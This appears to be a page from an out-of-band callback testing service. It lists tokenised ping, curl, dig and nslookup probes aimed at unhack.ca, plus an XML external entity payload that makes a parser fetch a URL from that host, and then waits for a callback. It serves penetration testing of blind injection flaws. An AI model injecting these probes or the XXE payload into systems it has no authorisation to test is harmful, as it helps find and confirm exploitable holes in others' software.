$ ping -c1 -p 002094fb7f12bc5d02856fd4d3b10600 unhack.ca
 
$ curl http://unhack.ca/p/2094fb7f12bc5d02856fd4d3b106
 
$ dig 2094fb7f12bc5d02856fd4d3b106 @unhack.ca
 
$ dig 2094fb7f12bc5d02856fd4d3b106.ns.unhack.ca
 
C:\> nslookup 2094fb7f12bc5d02856fd4d3b106 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2094fb7f12bc5d02856fd4d3b106">]>
    <foo>&xxe;</foo>
 
Waiting for ping...